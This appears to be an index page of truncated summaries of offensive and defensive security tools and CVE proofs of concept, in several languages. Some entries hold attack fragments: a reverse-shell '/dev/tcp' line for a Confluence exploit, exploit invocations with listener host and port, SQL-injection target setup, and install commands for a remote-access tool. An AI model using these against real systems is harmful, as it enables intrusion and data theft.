CVE-2026-17795

A flaw was found in chromium-browser. An inappropriate implementation in the GetUserMedia component allows a remote attacker, who has compromised the renderer process, to leak sensitive cross-origin data. This can be achieved by enticing a user to visit a specially crafted HTML page...

arpy

Arpy Arpy is an easy-to-use ARP spoofing MiTM tool for Mac. It provides 3 targeted functions: Packet Sniffing Visited Domains Visited Domains with Gource Each function will be explained below. Tested OS to date Darwin 14.3.0 Darwin Kernel Version 14.3.0 Mac OS X Requirements Python 2.7 Gource Sca...

https-nj.gov---CVE-2019-8331

https-nj.gov---CVE-2019-8331 Vulnearability Report of the New Jersey official site Bootstrap 4.0.0 Found in https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js Vulnerability info: Medium 28236 XSS in data-template, data-content and data-title properties of tooltip/popover...

VUL4J-59

jsoup: 現実のHTMLスープを解析するJava HTMLパーサー jsoupは、現実のHTMLを扱うためのJavaライブラリです。DOM、CSS、jQueryのようなメソッドの利点を活かし、データの抽出や操作を行うための非常に便利なAPIを提供します。 jsoupはWHATWG HTML5仕様（http://whatwg.org/html）を実装しており、最新のブラウザと同じDOMにHTMLを解析します。 URL、ファイル、または文字列からHTMLを解析 DOMトラバーサルまたはCSSセレクタを使用してデータを検索・抽出 HTML要素、属性、テキストを操作...

raptor

Raptor is a web-based web-serivce + UI github centric source-vulnerability scanner i.e. it scans a repository with just the github repo url. You can setup webhooks to ensure automated scans every-time you commit or merge a pull request. The scan is done asynchonously and the results are available...

WhoDat

WhoDat プロジェクト 注意: PyDat 5 の開発中、内部の運用方針が変更され、PyDat プロジェクトは廃止されました。PyDat 5 の機能を完成させるための多くの作業は行われましたが、一部の機能は完全にテストされていません。 WhoDat プロジェクトは、whoisxmlapi データ、または ElasticSearch に保存されている任意の whois データのためのインターフェースです。whois データ、現在の IP 解決、パッシブ DNS を統合します。アナリストが調査を行うためのインタラクティブでピボット可能なアプリケーションを提供するだけでなく、JSON...

twint

TWINT - Twitter Intelligence Tool 認証不要。API不要。制限なし。 TwintはPythonで書かれた高度なTwitterスクレイピングツールであり、TwitterのAPIを使わずに Twitterプロフィールからツイートをスクレイピングできます。 TwintはTwitterの検索演算子を利用して、特定ユーザーのツイート、特定のトピックやハッシュタグ・トレンドに関連するツイート、またはツイート内のメールアドレスや電話番号などの 機密 情報を分別して収集できます。これは非常に便利で、創造的な使い方も可能です。...

bettercap

This repository is DEPRECATED, bettercap developementmoved here and every version 2.0.0 is considered LEGACY and NOT SUPPORTED...

CVE-2022-26134

CVE-2022-26134 リモート攻撃者は認証なしでOGNL式を注入し、Confluence ServerまたはData Center上で任意のコードを実行できます。POCを修正し、getshellを容易にします。一般的なポート:8090 影響を受けるバージョン Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps port 0&1...

Scout2

AWS Scout2 .. image:: https://travis-ci.org/nccgroup/Scout2.svg?branch=master :target: https://travis-ci.org/nccgroup/Scout2 .. image:: https://coveralls.io/repos/github/nccgroup/Scout2/badge.svg?branch=master :target: https://coveralls.io/github/nccgroup/Scout2 .. image::...

CVE-2023-22527

CVE-2023-22527 - Confluence Data Center和Confluence Server中的RCE（远程代码执行）漏洞 PoC 检测 nuclei -v -t /path/to/template.yam; -u http://ip:port/ 利用 python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port...

gps-sdr-sim

GPS-SDR-SIM GPS-SDR-SIMは、GPSベースバンド信号データストリームを生成し、ADALM-Pluto、bladeRF、HackRF、USRPなどのソフトウェア定義ラジオ（SDR）プラットフォームを使用してRFに変換できます。 Windowsビルド手順 1. Visual Studioを起動します。 2. コンソールアプリケーション用の空のプロジェクトを作成します。 3. 右側のソリューションエクスプローラーで、"gpssim.c"と"getopt.c"をソースファイルフォルダに追加します。 4. ソリューション構成のドロップダウンリストから"Release"を選択しま...

volatility

This project is archived. See Volatility 3 for modern investigations: https://github.com/volatilityfoundation/volatility3 ============================================================================ Volatility Framework - Volatile memory extraction utility framework The Volatility Framework is a...

SharpDNSExfil

SharpDNSExfil SharpDNSExfil はCで書かれた窃取ツールです。主な目的は、「ディスク上の」ファイルを、制限されたアウトバウンド接続を気にせずに窃取することです。 前提条件 リモートマシンがDNSを解決できること なぜこれを作ったのか？ エンゲージメント中にBlind...

urh

The Universal Radio Hacker URH is a complete suite for wireless protocol investigation with native support for many common Software Defined Radios. URH allows easy demodulation of signals combined with an automatic detection of modulation parameters making it a breeze to identify the bits and byt...

blind-sql-bitshifting

ビットシフトによるブラインドSQLインジェクション これは、ビットシフト方式を用いて文字を推測するのではなく計算する ことでブラインドSQLインジェクションを実行するモジュールです。設定に応じて、1文字あたり7〜8回のリクエストを必要とします。 使用方法 root@kitploit: import blind-sql-bitshifting as x 攻撃ベクターを設定するためにこの辞書を編集します x.options 設定例: root@kitploit: 脆弱なリンク x.options"target" = "http://www.example.com/index.php?id=1...

bleah

This repository is DEPRECATED, please usebettercap as this tool has been ported to its BLE modules...

pupy

Pupy Simple Installation root@kitploit: pip3 install pipx pipx ensurepath pipx install git+https://github.com/n1nj4sec/pupy@nextgen pupysh If you want more detailed informationRefer to the wiki Development Install root@kitploit: git clone https://github.com/n1nj4sec/pupy cd pupy git checkout...

pwndb

pwndb.py pwndb.py is a python command-line tool for searching leaked credentials using the Onion service with the same name. Usage root@kitploit: usage: pwndb.py -h --target TARGET --list LIST --output OUTPUT --proxy PROXY optional arguments: -h, --help show this help message and exit --target...

CVE-2021-27905

CVE-2021-27905 Apache Solr ReplicationHandler 服务器端请求伪造（SSRF） 访问计数器 Apache Solr（全称 Searching On Lucene with Replication）是一个基于 Apache Lucene 库的免费开源搜索引擎，使用 Java 编写。Apache Solr 提供 RESTful XML/HTTP 和 JSON API，并支持多种编程语言的客户端库，例如 Java、Python、Ruby、C、PHP 等，广泛用于构建基于搜索和大数据分析的应用程序，涵盖网站、数据库、文件等场景。 Apache Solr...